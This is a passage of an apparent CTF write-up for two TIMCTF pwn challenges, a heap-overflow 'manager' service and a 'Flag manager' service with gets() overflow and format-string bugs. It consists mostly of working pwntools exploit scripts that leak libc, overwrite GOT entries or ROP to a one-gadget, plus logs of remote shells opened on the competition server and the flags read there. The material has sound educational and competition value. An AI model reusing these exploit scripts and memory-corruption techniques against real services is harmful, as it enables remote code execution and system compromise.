add(3,"AAAA","+","+","+","+","CCCC")
add(4,p32(got-0x20),"+","+","+","+","DDDD")

player(1)

for i in range(0,1):
r.recvuntil("\x7f")

leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"] #0x408750
system = libc_base + libc.symbols["system"]
log.info("leak : " + hex(leak)) #600
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += p64(0)
payload += p64(libc_base + libc.symbols["system"]) #free@got
payload += p64(libc_base + libc.symbols["putchar"])
payload += p64(libc_base + libc.symbols["puts"])
payload += p64(0)
payload += p64(libc_base + libc.symbols["printf"])
payload += p64(libc_base + libc.symbols["getchar"])
payload += p64(libc_base + libc.symbols["gets"])
payload += p64(libc_base + libc.symbols["malloc"])
payload += p64(libc_base + libc.symbols["fflush"])
payload += p64(libc_base + libc.symbols["scanf"])
payload += p64(libc_base + libc.symbols["fwrite"])
payload += p64(0) * 2
payload += p64(libc_base + 0x3ec760)
payload += p64(0)
payload += "/bin/sh\x00" #0x602090

pause()
edit(1,payload,"+","+","+","+","B")

#remove(4)

r.interactive()

Flag

juntae@ubuntu:~/ctf/timisoara/manager$ p ex.py 
[*] '/home/juntae/ctf/timisoara/manager/timctf_manager'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/home/juntae/ctf/timisoara/manager/libc-2.27.so'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Opening connection to 89.38.208.144 on port 11114: Done
[*] got : 0x602018
[*] leak : 0x7fca44592950
[*] libc_base : 0x7fca444fb000
[*] Paused (press any to continue)
[*] Switching to interactive mode


1: Add player
2: Remove player
3: Edit player
4: View player
5: View team
0: Exit
$ 2
Enter player id (1-4) $ 4
$ ls
flag.txt
start.sh
timctf_manager
$ cat flag.txt
TIMCTF{Heap_overfl0ws_are_really_B4D}$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11114

Flag manager service ( 400pts )

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int result; // eax
 char buf; // [rsp+0h] [rbp-90h]
 char format; // [rsp+40h] [rbp-50h]
 int fd; // [rsp+8Ch] [rbp-4h]

 strcpy(file, "flag.txt");
 filesize = 64;
 printf("Enter your name: ", argv, envp);
 fflush(stdout);
 gets(&format);
 printf("Hello, ");
 printf(&format);
 printf("\nEnter password please: ");
 fflush(stdout);
 gets(pass);
 fd = open(file, 0);
 if ( fd == -1 )
{
   puts("Unable to open file!\n");
   fflush(stdout);
   result = 0;
}
 else
{
   read(fd, &buf, filesize);
   if ( !strcmp(pass, good_pass) )
     printf("Here is your flag, %s\n", &buf);
   else
     puts("NOOOOOOOOO!\n");
   fflush(stdout);
   result = 0;
}
 return result;
}

Buffer Overflow and Format String Bugs Occur.

So, I can catch RIP.

Then, do ROP ( bypass DEP) can get shell.


Exploit

from pwn import *

#context.log_level = "debug"

e = ELF("./flag_manager01")
libc = e.libc

r = remote("89.38.208.144",11115)
#r = process("./flag_manager01")

pr = 0x4008a3

payload = ""
payload += "A" * 0x58
payload += p64(pr)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])

payload += p64(e.symbols["main"])

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
oneshot = libc_base + 0x10a38c
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += "A" * 0x58
payload += p64(oneshot)

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

r.interactive()

I used oneshot gadget.


Flag

juntae@ubuntu:~/ctf/timisoara/flag$ c
juntae@ubuntu:~/ctf/timisoara/flag$ p ex.py
[*] '/home/juntae/ctf/timisoara/flag/flag_manager01'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Opening connection to 89.38.208.144 on port 11115: Done
[*] libc_base : 0x7ff5c611e000
[*] Switching to interactive mode
NOOOOOOOOO!

$ ls
fddup.so
flag_manager_nohook
flag.txt
start.sh
$ cat flag.txt
TIMCTF{d3v_fd_i5_sn3aky_backd00r}$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11115